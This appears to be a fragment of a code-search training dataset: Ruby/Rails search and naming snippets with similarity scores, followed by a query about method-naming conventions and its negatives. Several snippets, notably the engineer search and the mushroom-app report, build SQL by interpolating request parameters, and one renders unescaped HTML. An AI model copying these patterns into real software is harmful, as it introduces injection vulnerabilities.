"def create\n if params[:names]\n params[:names].split(\"\\n\").each do |line|\n if line.size > 0\n names = line.split(\",\")[0]\n names.split(//).each do |name|\n @hanja = Hanja.find_by_name(name)\n if !@hanja\n @hanja = Hanja.new(name: name)\n if @hanja.save\n @hanja.search\n end\n end\n end\n end\n end\n redirect_to new_hanja_url\n return\n end\n\n if(params[:name])\n @hanja = Hanja.new(hanja_params)\n\n if @hanja.save\n @hanja.search\n redirect_to new_hanja_url\n else\n render :new\n end\n end\n end",
"def search_person(name = \"\")\n\t\t@nutshell.search_person(name)\n\tend",
"def match_to_preflabel(name)\n name = name.downcase\n case name\n when /reconstruction/\n standard_name = 'University of York. Post-war Reconstruction and'\\\n ' Development Unit'\n when /applied human rights/\n standard_name = 'University of York. Centre for Applied Human Rights'\n when /health economics/\n standard_name = 'University of York. Centre for Health Economics'\n when /health sciences/\n standard_name = 'University of York. Department of Health Sciences'\n when /lifelong learning/\n standard_name = 'University of York. Centre for Lifelong Learning'\n when /medieval studies/\n standard_name = 'University of York. Centre for Medieval Studies'\n when /renaissance/\n standard_name = 'University of York. Centre for Renaissance and Early'\\\n ' Modern Studies'\n when /reviews/\n standard_name = 'University of York. Centre for Reviews and'\\\n ' Disseminations'\n when /women/\n standard_name = \"University of York. Centre for Women's Studies\"\n when /school of social and political science/\n standard_name = 'University of York. School of Social and Political'\\\n ' Science'\n when /social policy/\n standard_name = 'University of York. Department of Social Policy and'\\\n ' Social Work'\n when /school of politics economics and philosophy/\n standard_name = 'University of York. School of Politics Economics and'\\\n ' Philosophy'\n when /politics/\n standard_name = 'University of York. Department of Politics'\n when /economics and related/\n standard_name = 'University of York. Department of Economics and Related'\\\n ' Studies'\n when /economics and philosophy/\n standard_name = 'University of York. School of Politics Economics and'\\\n ' Philosophy'\n when /history of art/\n standard_name = 'University of York. Department of History of Art'\n when /history/\n standard_name = 'University of York. Department of History'\n when /electronic/\n standard_name = 'University of York. Department of Electronic Engineering'\n when /theatre/\n standard_name = 'University of York. Department of Theatre, Film and'\\\n ' Television'\n when /physics/\n standard_name = 'University of York. Department of Physics'\n when /computer/\n standard_name = 'University of York. Department of Computer Science'\n when /psychology/\n standard_name = 'University of York. Department of Psychology'\n when /law/\n standard_name = 'University of York. York Law School'\n when /mathematics/\n standard_name = 'University of York. Department of Mathematics'\n when /advanced architectural/\n standard_name = 'University of York. Institute of Advanced Architectural'\\\n ' Studies'\n when /conservation/\n standard_name = 'University of York. Centre for Conservation Studies'\n when /eighteenth century/\n standard_name = 'University of York. Centre for Eighteenth Century\n Studies'\n when /chemistry/\n standard_name = 'University of York. Department of Chemistry'\n when /sociology/\n standard_name = 'University of York. Department of Sociology'\n when /education/\n standard_name = 'University of York. Department of Education'\n when /music/\n standard_name = 'University of York. Department of Music'\n when /archaeology/\n standard_name = 'University of York. Department of Archaeology'\n when /biology/\n standard_name = 'University of York. Department of Biology'\n when /biochemistry/ # confirmed with metadata team - recheck?\n standard_name = 'University of York. Department of Biology'\n when /english and related/ # confirmed directly with English department\n standard_name = 'University of York. Department of English and Related'\\\n ' Literature'\n when /philosophy/\n standard_name = 'University of York. Department of Philosophy'\n when /management studies/\n standard_name = 'University of York. Department of Management Studies'\n when /management school/\n # older versionof department name which should be retained if match found\n standard_name = 'University of York. The York Management School'\n when /language and linguistic science/\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science'\n when /language and lingusitic science/ # deal with common typo\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science'\n when /for all/ # this is 'languages for all' but in some records 'language'\n standard_name = 'University of York. Department of Language and'\\\n ' Linguistic Science. Languages for All'\n when /hull/\n standard_name = 'Hull York Medical School'\n when /international pathway/\n standard_name = 'University of York. International Pathway College'\n when /school of criminology/\n standard_name = 'University of York. School of Criminology'\n when /natural sciences/\n standard_name = 'University of York. School of Natural Sciences'\n when /environment and geography/ # order important, more precise must be first\n standard_name = 'University of York. Department of Environment and Geography'\n when /environment/\n standard_name = 'University of York. Environment Department'\n else\n standard_name = 'COULD NOT MATCH ' + name\n end\n standard_name\n end",
"def find_id_facility (name)\n return Facility.find_by(name: name)\n end",
"def search\n ActiveRecord::Base.connection.execute(\"SELECT set_limit(0.20);\")\n render json: GroupCategory.fuzzy_search(:name => params[:search_text]).limit(10)\n end",
"def find(search_value)\r\n cases = [search_value.downcase, search_value.capitalize, search_value.upcase]\r\n users = Array.new\r\n\r\n cases.each do |value|\r\n users.concat(Array.new(User.all(:login.like => \"%#{value}%\") |\r\n User.all(:firstname.like => \"%#{value}%\") |\r\n User.all(:lastname.like => \"%#{value}%\")))\r\n end\r\n\r\n # Delete user which searching for other users\r\n users.delete(self)\r\n\r\n return false if users.empty?\r\n\r\n users.map! { |user| { login: user.login,\r\n firstname: user.firstname,\r\n lastname: user.lastname }}\r\n users = users.uniq\r\n end",
"def search\n #logger.info(\"Called Search!\")\n flash[:notice] = nil\n flash[:error] = nil\n # Build query string\n params[:name][:fname] = '%' if params[:name][:fname].empty?\n params[:name][:lname] = '%' if params[:name][:lname].empty?\n query = \"fname like ? AND lname like ? AND years_of_experience >= ?\"\n logger.info(\"skill: #{params[:skill][:id]}\")\n if ! params[:skill][:id].empty?\n query = \"#{query} AND skill_level_id = #{params[:skill][:id]}\"\n end\n if ! params[:resume].nil? && ! params[:photo].nil?\n query = \"#{query} AND role in ('#{get_resume_label}','#{get_picture_label}')\"\n elsif ! params[:resume].nil?\n query = \"#{query} AND role = '#{get_resume_label}'\"\n elsif ! params[:photo].nil?\n query = \"#{query} AND role = '#{get_picture_label}'\"\n end\n \n # Execute query\n name_join = 'INNER JOIN names ON names.engineer_id = engineers.id'\n resources_join = 'LEFT JOIN resources ON resources.engineer_id = engineers.id'\n @engineers = Engineer.all(:joins=>[name_join,resources_join],:conditions => [query,params[:name][:fname], params[:name][:lname], params[:experience][:years]], :order => :id).paginate :per_page => 5, :page => params[:page]\n #flash[:notice] = \"Query has returned #{@engineers.length} results.\" if ! @engineers.nil?\n respond_to do |format|\n format.html { render :action => 'index', :object => @engineers }\n format.xml { render :xml => @engineers }\n end\n end",
"def generics\n search_string = (params[:search_string] || '').upcase\n filter_list = params[:filter_list].split(/, */) rescue [] \n @drug_concepts = ConceptName.joins(\"INNER JOIN drug ON drug.concept_id = concept_name.concept_id AND drug.retired = 0\").where(\n [\"concept_name.name LIKE ?\", '%' + search_string + '%']).group(\"drug.concept_id\").select(\"concept_name.name\")\n render plain: \"<li>\" + @drug_concepts.map{|drug_concept| drug_concept.name }.uniq.join(\"</li><li>\") + \"</li>\"\n end",
"def search\n name = params[:querry].downcase\n \n if (!name.empty?)\n #if !name.empty?\n \n # if param is number\n \n #if (num != 0)\n # logger.debug \"search num: \"+num.to_s\n # @cds = CompactDisk.where(\"cast(year as text) LIKE ?\",\"%#{num}%\")\n #else\n @songs = Song.where(\"lower(title) like ?\",\"%#{name}%\")\n #logger.debug 'songs size = '+@songs.size.to_s\n @cds = CompactDisk.where(\"lower(artist) LIKE ? OR lower(title) LIKE ? OR lower(genre) LIKE ?\", \"%#{name}%\",\"%#{name}%\",\"%#{name}%\")\n #end\n @users = User.where(\"lower(firstname) LIKE ? OR lower(lastname) LIKE ? OR lower(email) LIKE ? OR lower(alias) LIKE ?\",\"%#{name}%\",\"%#{name}%\",\"%#{name}%\",\"%#{name}%\")\n \n num = name.to_i\n if (num > 0)\n cds_year = CompactDisk.where(\"cast(year as text) LIKE ?\",\"%#{num}%\")\n \n cds_year.each {|cd|\n if (!@cds.include?(cd))\n @cds = @cds.push(cd)\n end\n }\n end\n \n \n @songs.each { |s| \n cd = CompactDisk.where(:id => s.compact_disk_id)\n if cd.length > 0\n #logger.debug 'size cds = '+@cds.length.to_s\n #logger.debug 'title = '+cd.first.title\n #cd.push(@cds)\n \n # if cd is not in array\n if (!@cds.include?(cd.first))\n @cds = @cds.push(cd.first)\n end\n #logger.debug 'size cds = '+@cds.length.to_s\n end\n }\n\n # delete own cd's\n if (user_signed_in? && !current_user.search_own_cds)\n @cds = @cds.delete_if {|c| c.user_id == current_user.id}\n end\n \n # delete own user\n if (user_signed_in?)\n @users = @users.delete_if {|u| u.id == current_user.id}\n end\n else\n # @Christian S.: Bitte zeigen eine Fehlermeldung an wenn Suchstring leer ist. Danke :)\n redirect_to :back\n end\n end",
"def search_for_products\r\n @categories = Category.select(:id, :name).all\r\n end",
"def challenge_participants\n search_param = params[params[:fieldname]]\n collection_id = params[:collection_id]\n render_output(Pseud.limit(10).order(:name).joins(:challenge_signups)\n .where([\"pseuds.name LIKE ? AND challenge_signups.collection_id = ?\", \n '%' + search_param + '%', collection_id]).map(&:byline))\n end",
"def names\n \n # COMBINE split names into composite names for these rows\n composites = [\n {:row => :sa, :version => /^[6-8]/, :field => [:contributor, :donor_candidate]},\n {:row => :sb, :version => /^[6-8]/, :field => [:payee, :beneficiary_candidate]},\n {:row => :sc, :version => /^[6-8]/, :field => [:lender, :lender_candidate]},\n {:row => :sc1, :version => /^[6-8]/, :field => [:treasurer, :authorized]},\n {:row => :sc2, :version => /^[6-8]/, :field => :guarantor},\n {:row => :sd, :version => /^[6-8]/, :field => :creditor},\n {:row => :se, :version => /^[6-8]/, :field => [:payee, :candidate]},\n {:row => :sf, :version => /^[6-8]/, :field => [:payee, :payee_candidate]},\n {:row => :f3p, :version => /^[6-8]/, :field => :treasurer},\n {:row => :f3p31, :version => /^[6-8]/, :field => :contributor},\n ]\n # SPLIT composite names into component parts for these rows\n components = [\n {:row => :sa, :version => /^3|(5.0)/, :field => :contributor},\n {:row => :sa, :version => /^[3-5]/, :field => :donor_candidate},\n {:row => :sb, :version => /^3|(5.0)/, :field => :payee},\n {:row => :sb, :version => /^[3-5]/, :field => :beneficiary_candidate},\n {:row => :sc, :version => /^[3-5]/, :field => [:lender, :lender_candidate]},\n {:row => :sc1, :version => /^[3-5]/, :field => [:treasurer, :authorized]},\n {:row => :sc2, :version => /^[3-5]/, :field => :guarantor},\n {:row => :sd, :version => /^[3-5]/, :field => :creditor},\n {:row => :se, :version => /^[3-5]/, :field => [:payee, :candidate]},\n {:row => :sf, :version => /^[3-5]/, :field => [:payee, :payee_candidate]},\n {:row => :f3p, :version => /^[3-5]/, :field => :treasurer},\n {:row => :f3p31, :version => /^[3-5]/, :field => :contributor},\n ]\n \n composites.each { |c| combine_components_into_name(c) }\n components.each { |c| split_name_into_components(c) }\n \n end",
"def find_by_names_and_company(card)\n conditions = find_by_names_and_company_conditions(card)\n if conditions[:organization]\n return nil unless organization = Organization.find_by_name(conditions.delete(:organization))\n find_base = organization.contacts\n else\n find_base = self\n end\n \n if conditions[:given_name] || conditions[:family_name]\n find_base.find(:first, :conditions => sanitize_sql_for_conditions(conditions))\n else\n organization\n end\n end",
"def students\n filters = []\n filters.push(\"{SCHOOL_TFPID} = '#{goddamn_school}'\") if goddamn_school\n Student.some(\n shard: self.goddamn_city,\n sort: [\"Name\", :asc],\n filterByFormula: \"AND(#{filters.join(',')})\"\n )\n end",
"def search\n begin\n @courses = Course.search(params[:query]) if params[:query]\n rescue Searchable::SearchError => msg\n flash.now[:error] = msg\n rescue Searchable::NoSearchResults => msg\n flash.now[:notice] = msg\n end\n end",
"def ldap_add_members!\n Rails.logger.tagged(:ldap) { Rails.logger.info \"Looking up an LDAP group matching '#{name}'\" }\n\n portus_user = User.portus\n usernames = users.map(&:username)\n\n ::Portus::LDAP::Search.new.find_group_and_members(name).each do |member|\n next if usernames.include?(member)\n next unless User.exists?(username: member)\n\n add_team_member!(portus_user, member)\n end\n\n update!(ldap_group_checked: Team.ldap_statuses[:checked], checked_at: Time.zone.now)\n end",
"def search_prof\n # Search for email or name of professor\n term = \"%#{params[:term]}%\"\n @users = User.all(:conditions => [\"(LOWER(first_name) LIKE LOWER(?) OR LOWER(last_name) LIKE LOWER(?) OR LOWER(email) LIKE LOWER(?)) AND role = ?\", term, term, term, \"Professor\"])\n\n # Return a JSON with \"label\" and \"value\" as key required by JQUeryUI autocomplete\n result = Array.new\n @users.each do |user| \n label = user.first_name + \" \" + user.last_name + \" - \" + user.email\n item = Hash[ \"label\" => label, \"value\" => user.email ]\n result.push item\n end\n\n render :json => result\n end",
"def names_for_mushroom_app # :nologin: :norobots:\n number_of_names = params[:number_of_names].blank? ? 1000 : params[:number_of_names]\n minimum_confidence = params[:minimum_confidence].blank? ? 1.5 : params[:minimum_confidence]\n minimum_observations = params[:minimum_observations].blank? ? 5 : params[:minimum_observations]\n rank_condition = params[:include_higher_taxa].blank? ?\n '= \"Species\"' :\n 'NOT IN (\"Subspecies\", \"Variety\", \"Form\", \"Group\")'\n\n data = Name.connection.select_rows(%(\n SELECT y.name, y.rank, SUM(y.number)\n FROM (\n SELECT n.text_name AS name,\n n.rank AS rank,\n x.number AS number\n FROM (\n SELECT n.id AS name_id,\n n.synonym_id AS synonym_id,\n COUNT(o.id) AS number\n FROM names n, observations o\n WHERE o.name_id = n.id\n AND o.vote_cache >= #{minimum_confidence}\n GROUP BY IF(n.synonym_id IS NULL, n.id, -n.synonym_id)\n ) AS x\n LEFT OUTER JOIN names n ON IF(x.synonym_id IS NULL, n.id = x.name_id, n.synonym_id = x.synonym_id)\n WHERE n.deprecated = FALSE\n AND x.number >= #{minimum_observations}\n AND n.rank #{rank_condition}\n GROUP BY IF(n.synonym_id IS NULL, n.id, -n.synonym_id)\n ) AS y\n GROUP BY y.name\n ORDER BY SUM(y.number) DESC\n LIMIT #{number_of_names}\n ))\n\n genera = data.map do |name, rank, number|\n name.split(' ').first\n end.uniq\n\n families = {}\n for genus, classification in Name.connection.select_rows(%(\n SELECT text_name, classification FROM names\n WHERE rank = 'Genus'\n AND COALESCE(classification,'') != ''\n AND text_name IN ('#{genera.join(\"','\")}')\n ))\n for rank, name in Name.parse_classification(classification).reverse\n if rank == :Family\n families[genus] = name\n break\n end\n end\n end\n\n report = FasterCSV.generate(:col_sep => \"\\t\") do |csv|\n csv << ['name', 'rank', 'number_observations', 'family']\n data.each do |name, rank, number|\n genus = name.split(' ').first\n family = families[genus] || ''\n csv << [name, rank, number.round.to_s, family]\n end\n end\n send_data(report,\n :type => 'text/csv',\n :charset => 'UTF-8',\n :header => 'present',\n :disposition => 'attachment',\n :filename => \"#{action_name}.csv\"\n )\n\n rescue => e\n render(:text => e.to_s, :layout => false, :status => 500)\n end",
"def get_course_template_by_name(org_unit_name)\n course_template_not_found = true\n course_template_results = []\n puts \"[+] Searching for templates using search string: \\'#{org_unit_name}\\'\".yellow\n results = get_all_course_templates\n results.each do |x|\n if x['Name'].downcase.include? org_unit_name.downcase\n course_template_not_found = false\n course_template_results.push(x)\n end\n end\n if course_template_not_found\n puts '[-] No templates could be found based upon the search string.'.yellow\n end\n course_template_results\n # return: JSON array of matching course template data objects\nend",
"def check_name_existence\n users = Center.joins(:profile).where(institution_id: institution_id).where('profiles.firstname =?',firstname)\n errors.add(:firstname,\"already taken for this entrys\") if !users.blank? and self.id != users.first.id\n end",
"def search_politician(name)\n index = @politician_list.index{ |politician| politician.name == name } \n end",
"def index\n \t@prevSort = params[:sort].nil? ? \"lname\" : params[:sort].gsub(\"%20\",\" \") \n \t@dept = params[:dept] || \"%\"\n\n if params[:center].nil?\n @researchers = Researcher.search(params[:search]).where(:dept.matches => @dept).order(@prevSort).page(params[:page]).per(5)\n else\n @researchers = Center.find_by_abbreviation(params[:center]).researchers.order(@prevSort).page(params[:page]).per(5)\n end\n \n @new_faculty = Researcher.recent\n\n\n \trespond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @researchers }\n end\n end"
] | [
"0.58550936",
"0.55796844",
"0.55724686",
"0.5561325",
"0.5550329",
"0.554557",
"0.55351835",
"0.53986657",
"0.5368069",
"0.53614306",
"0.53497964",
"0.53475016",
"0.5339391",
"0.5318524",
"0.5298524",
"0.5273039",
"0.52696407",
"0.52674156",
"0.52652025",
"0.5246684",
"0.52323395",
"0.5230018",
"0.52236485",
"0.5175693",
"0.51733583",
"0.51698434",
"0.51546365",
"0.5153959",
"0.51406133",
"0.5114698",
"0.51146793",
"0.5114648",
"0.51044554",
"0.5099213",
"0.5096862",
"0.5088094",
"0.5076433",
"0.50756204",
"0.5067856",
"0.50620973",
"0.5059703",
"0.5055781",
"0.5024695",
"0.5021939",
"0.50212157",
"0.5019396",
"0.5019056",
"0.50141376",
"0.5013564",
"0.50050664",
"0.50024265",
"0.5000357",
"0.49943626",
"0.49841747",
"0.49750665",
"0.49746546",
"0.49719155",
"0.4971826",
"0.49610698",
"0.49555263",
"0.49528477",
"0.494204",
"0.49391022",
"0.4935116",
"0.49326897",
"0.49282658",
"0.49274144",
"0.49212235",
"0.49210992",
"0.49164855",
"0.49103755",
"0.49051756",
"0.49051756",
"0.49044734",
"0.49039212",
"0.4903515",
"0.48990276",
"0.48973507",
"0.48888972",
"0.48871455",
"0.48851395",
"0.48849195",
"0.4881581",
"0.48776808",
"0.4874814",
"0.4873343",
"0.4869166",
"0.4866928",
"0.48600104",
"0.4859088",
"0.48578367",
"0.48571718",
"0.48505652",
"0.4847999",
"0.48475674",
"0.48429954",
"0.48399112",
"0.48376253",
"0.48375902",
"0.4835008",
"0.4833186"
] | 0.0 | -1 |
METHODS Method names use lower case snake_case by convention | def count
puts 1
puts 2
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def snake_case(name); end",
"def camelize_methodname\n self.titleize.gsub(' ', '').camelize(:lower)\n end",
"def sanitize_method_name( name )\n name.to_s.camelize\n end",
"def method_name\n\n end",
"def method_name\n\n end",
"def method_name\n\n end",
"def lowercase_name\n name.downcase\n end",
"def name ; self[:name].downcase end",
"def name_case!\n self.gsub!(self, self.name_case)\n end",
"def camel_case_method?\n method_name.to_s =~ /\\A[A-Z]/\n end",
"def specialize_method_name( name )\n return \"#{name}#{self.class.name.split(\"::\")[-1].gsub(/[A-Z]/){|s| \"_#{s.downcase}\"}}\".intern\n end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def downcase_name\n name.downcase!\n end",
"def snakecase(name)\n name.gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').downcase\n end",
"def uppercase_name\n # self.name.upcase\n name.upcase #self is the implicit reciever\n end",
"def capitalize\n \"Foo\"\n end",
"def upcase\n @name.upcase\n end",
"def name\n camel = self.class.to_s.gsub(/.*::/, '')\n camel.gsub(/(\\S)([A-Z])/, '\\1_\\2').downcase\n end",
"def upcase() end",
"def lower_case()\n LuckyCase.lower_case self\n end",
"def test_Method_InstanceMethods_meth\n\t\tmethod = \"cat\".method(:upcase)\n\t\tassert_equal(\"upcase\", method.name.to_s)\n\tend",
"def snake_case\n self.gsub(/([a-z])([A-Z])/) {|s| \"#{s[0]}_#{s[1]}\"}.gsub(/([A-Z])([A-Z][a-z])/) {|s| \"#{s[0]}_#{s[1..2]}\"}.downcase\n end",
"def snakecase(string); end",
"def upcase; end",
"def method_name\n end",
"def snake_case(name)\n name.gsub(/([a-z])([A-Z0-9])/, '\\1_\\2' ).downcase\nend",
"def snake_case\n return downcase if match(/\\A[A-Z]+\\z/)\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').\n gsub(/([a-z])([A-Z])/, '\\1_\\2').\n downcase\n end",
"def validate_method_name(name)\n KeyWords.include?(name) ? \"do#{name.gsub(/-/, \"_\").camelcase}\" : validate_property_name(name)\n end",
"def upcase!() end",
"def ga_to_method_name(name)\n snakecase(name.gsub(/\\Aga:/, \"\")).to_sym\n end",
"def capitalize!() end",
"def camel_case\n gsub /(?:^|_)(.)/ do $1.upcase end\n end",
"def test_camel_case\n raise NotImplementedError, 'Undecided as to whether to check camel case or not'\n end",
"def name\n @name.capitalize\n end",
"def name\n @name.capitalize\n end",
"def snake_case(str); end",
"def name\n 'method 2'\n end",
"def camelcase(s)\n\n\nend",
"def capitalize() end",
"def swapcase() end",
"def snake_case2\n (self.gsub! /(.)([A-Z])/, '\\1_\\2').downcase\n rescue\n self\n end",
"def snake_name\n @_snake_name ||= name_components.map(&:downcase).join('_')\n end",
"def swapcase!() end",
"def snake_case\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .tr('-', '_')\n .downcase\n end",
"def my_name\n end",
"def genability_method_name_converter(method_name)\n method_name.to_s.gsub(/(?:^|_)(.)/){ $1.upcase }.gsub(/^[A-Z]/){ $&.downcase }.to_sym\n end",
"def instance_method(arg)\n arg.upcase\nend",
"def snakecase\n str = dup\n str.gsub! /::/, '/'\n str.gsub! /([A-Z]+)([A-Z][a-z])/, '\\1_\\2'\n str.gsub! /([a-z\\d])([A-Z])/, '\\1_\\2'\n str.tr! \".\", \"_\"\n str.tr! \"-\", \"_\"\n str.downcase!\n str\n end",
"def downcase_keys\n end",
"def downcase!() end",
"def upper_case()\n LuckyCase.upper_case self\n end",
"def capitalized\n name.titleize.capitalize\n end",
"def getMethodName(description)\n description[0] = description[0].downcase\n description.to_s.gsub(' ', '')\n end",
"def camel_case(str); end",
"def camelize!\n self.titleize!\n self.replace(self[0, 1].downcase + self[1..-1])\n end",
"def downcase() end",
"def lower_case(words)\n raise NotImplementedError # TODO\nend",
"def parse_method(method)\n method.downcase.to_sym\n end",
"def downcase_first\n ActiveSupport::Inflector.downcase_first(self)\n end",
"def downcase; end",
"def titlecase!\n replace(titlecase)\n end",
"def downcase\n `return self.toLowerCase();`\n end",
"def downcase\n `return self.toLowerCase();`\n end",
"def underscorize!\n self.replace(self.scan(/[A-Z][a-z]*/).join(\"_\").downcase)\n end",
"def camel(snake_case)\n snake_case.to_s.capitalize.gsub(/_./) { |match| match[1].upcase }\n end",
"def upcase_first\n ActiveSupport::Inflector.upcase_first(self)\n end",
"def name_this_method(word)\n\tword[0] = word[0].upcase\nend",
"def name\n \n end",
"def name\n self.class.name.downcase\n end",
"def name\n\n end",
"def camel_case\n return self if self !~ /_/ && self =~ /[A-Z]+.*/\n split('_').map{|e| e.capitalize}.join\n end",
"def camel_case\n return self if self !~ /_/ && self =~ /[A-Z]+.*/\n split('_').map{|e| e.capitalize}.join\n end",
"def name_case(options = {})\n options = { :lazy => true, :irish => true }.merge options\n\n # Skip if string is mixed case\n if options[:lazy]\n first_letter_lower = self[0] == self.downcase[0]\n all_lower_or_upper = (self.downcase == self || self.upcase == self)\n\n return self unless first_letter_lower || all_lower_or_upper\n end\n\n localstring = downcase\n localstring.gsub!(/\\b\\w/) { |first| first.upcase }\n localstring.gsub!(/\\'\\w\\b/) { |c| c.downcase } # Lowercase 's\n\n if options[:irish]\n if localstring =~ /\\bMac[A-Za-z]{2,}[^aciozj]\\b/ or localstring =~ /\\bMc/\n match = localstring.match(/\\b(Ma?c)([A-Za-z]+)/)\n localstring.gsub!(/\\bMa?c[A-Za-z]+/) { match[1] + match[2].capitalize }\n\n # Now fix \"Mac\" exceptions\n localstring.gsub!(/\\bMacEdo/, 'Macedo')\n localstring.gsub!(/\\bMacEvicius/, 'Macevicius')\n localstring.gsub!(/\\bMacHado/, 'Machado')\n localstring.gsub!(/\\bMacHar/, 'Machar')\n localstring.gsub!(/\\bMacHin/, 'Machin')\n localstring.gsub!(/\\bMacHlin/, 'Machlin')\n localstring.gsub!(/\\bMacIas/, 'Macias')\n localstring.gsub!(/\\bMacIulis/, 'Maciulis')\n localstring.gsub!(/\\bMacKie/, 'Mackie')\n localstring.gsub!(/\\bMacKle/, 'Mackle')\n localstring.gsub!(/\\bMacKlin/, 'Macklin')\n localstring.gsub!(/\\bMacKmin/, 'Mackmin')\n localstring.gsub!(/\\bMacQuarie/, 'Macquarie')\n end\n localstring.gsub!('Macmurdo','MacMurdo')\n end\n\n # Fixes for \"son (daughter) of\" etc\n localstring.gsub!(/\\bAl(?=\\s+\\w)/, 'al') # al Arabic or forename Al.\n localstring.gsub!(/\\bAp\\b/, 'ap') # ap Welsh.\n localstring.gsub!(/\\bBen(?=\\s+\\w)/,'ben') # ben Hebrew or forename Ben.\n localstring.gsub!(/\\bDell([ae])\\b/,'dell\\1') # della and delle Italian.\n localstring.gsub!(/\\bD([aeiou])\\b/,'d\\1') # da, de, di Italian; du French; do Brasil\n localstring.gsub!(/\\bD([ao]s)\\b/,'d\\1') # das, dos Brasileiros\n localstring.gsub!(/\\bDe([lr])\\b/,'de\\1') # del Italian; der Dutch/Flemish.\n localstring.gsub!(/\\bEl\\b/,'el') # el Greek or El Spanish.\n localstring.gsub!(/\\bLa\\b/,'la') # la French or La Spanish.\n localstring.gsub!(/\\bL([eo])\\b/,'l\\1') # lo Italian; le French.\n localstring.gsub!(/\\bVan(?=\\s+\\w)/,'van') # van German or forename Van.\n localstring.gsub!(/\\bVon\\b/,'von') # von Dutch/Flemish\n\n # Fix roman numeral names\n localstring.gsub!(\n / \\b ( (?: [Xx]{1,3} | [Xx][Ll] | [Ll][Xx]{0,3} )?\n (?: [Ii]{1,3} | [Ii][VvXx] | [Vv][Ii]{0,3} )? ) \\b /x\n ) { |match| match.upcase }\n\n localstring\n end",
"def upcase\n (self.to_s.upcase! || self).to_sym\n end",
"def message\n 'Feature files should be snake_cased.'\n end",
"def downcase!\n self.username.downcase!\n self.email.downcase!\n end",
"def lower_case!(words)\n raise NotImplementedError # TODO\nend",
"def downcase_fields\n self.handle.downcase!\n end",
"def camel_case\n return self if self !~ /_/ && self =~ /[A-Z]+.*/\n split('_').map{|e| e.capitalize}.join\n end",
"def caps(name)\n\tputs \"#{name.upcase}\"\nend",
"def snake_case(preserve_prefixed_underscores: true)\n LuckyCase.snake_case self, preserve_prefixed_underscores: preserve_prefixed_underscores\n end",
"def capitalize(word)\n\nend",
"def to_snake_case\n gsub(/::/, '/')\n .gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .tr('-', '_')\n .downcase\n end",
"def method\n env[:method].to_s.upcase\n end",
"def lucky_case(allow_prefixed_underscores: true)\n LuckyCase.case self, allow_prefixed_underscores: allow_prefixed_underscores\n end",
"def camel_case(preserve_prefixed_underscores: true)\n LuckyCase.camel_case self, preserve_prefixed_underscores: preserve_prefixed_underscores\n end",
"def name(_)\n\n end",
"def downcase\n (self.to_s.downcase! || self).to_sym\n end",
"def snake_case(group = true)\n\t\t\treturn self unless self =~ %r/[A-Z\\s]/\n\t\t\treverse.scan(%r/[A-Z]+|[^A-Z]*[A-Z]+?|[^A-Z]+/).reverse.map{|word| word.reverse.downcase}.join('_').gsub(/\\s/,'_')\n\t\tend",
"def aliased_method_name(method_name)\r\n last_letter = method_name.to_s[method_name.to_s.size-1]\r\n if %w(? !).member? last_letter\r\n # remove ? and ! from the middle and put it to the end\r\n (method_name.to_s.chop!+\"_in_#{self.simple_name.to_snake_case}#{last_letter}\").to_sym\r\n else\r\n (method_name.to_s+\"_in_#{self.simple_name.to_snake_case}\").to_sym\r\n end\r\n end"
] | [
"0.77629614",
"0.77124107",
"0.72157097",
"0.71090543",
"0.71090543",
"0.71090543",
"0.7090032",
"0.7049478",
"0.7022118",
"0.69969404",
"0.69457877",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.6909394",
"0.68480074",
"0.6804317",
"0.67942536",
"0.6786925",
"0.6753192",
"0.6752767",
"0.6699035",
"0.6695904",
"0.6684371",
"0.6683435",
"0.6668832",
"0.6668218",
"0.6652675",
"0.6636209",
"0.6595716",
"0.65903145",
"0.65758246",
"0.6561172",
"0.6551295",
"0.65462226",
"0.65451384",
"0.65449476",
"0.65449476",
"0.65242463",
"0.65072596",
"0.6482418",
"0.6474608",
"0.6470862",
"0.6467603",
"0.6462811",
"0.64408106",
"0.6439445",
"0.64364016",
"0.6432643",
"0.64233524",
"0.64078575",
"0.63900393",
"0.636949",
"0.63682884",
"0.63667846",
"0.635042",
"0.6349875",
"0.6346747",
"0.6339051",
"0.63275856",
"0.6327457",
"0.6326048",
"0.6322081",
"0.63053477",
"0.629772",
"0.629772",
"0.6295808",
"0.6288561",
"0.62877494",
"0.628046",
"0.6258656",
"0.62556803",
"0.6246402",
"0.6237219",
"0.6237219",
"0.62303036",
"0.6223268",
"0.6217624",
"0.6211933",
"0.62047404",
"0.6204453",
"0.61742896",
"0.61742496",
"0.61684626",
"0.6163801",
"0.61369926",
"0.6135553",
"0.6131889",
"0.6130172",
"0.6126428",
"0.61071503",
"0.6106847",
"0.6106373"
] | 0.0 | -1 |
Complete each step below according to the challenge directions and include it in this file. Also make sure everything that isn't code is commented in the file. I worked on this challenge [by myself]. 1. Pseudocode What is the input? What is the output? (i.e. What should the code return?) What are the steps needed to solve the problem? =begin Total Method: Input is an array of numbers (string or floats) Output is number SET variable, sum, to 0 ITERATE over array of numbers and add each element to sum RETURN sum =end =begin Sentence Maker Method: Input is an array of strings Output is string formatted to a sentence SET variable, sentence, to capitalized first letter in array. ADD period to last element in array. ITERATE over array of strings from second element on and add each element to sentence with a space seperation RETURN sentence =end 2. Initial Solution | def total(array)
=begin
Input: Array of integers or floats
Output: Integer or float
=end
#SET variable, sum, to 0
#ITERATE over array of numbers and add each element to sum
sum = 0
array.each{|x| sum += x }
#RETURN sum
return sum
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
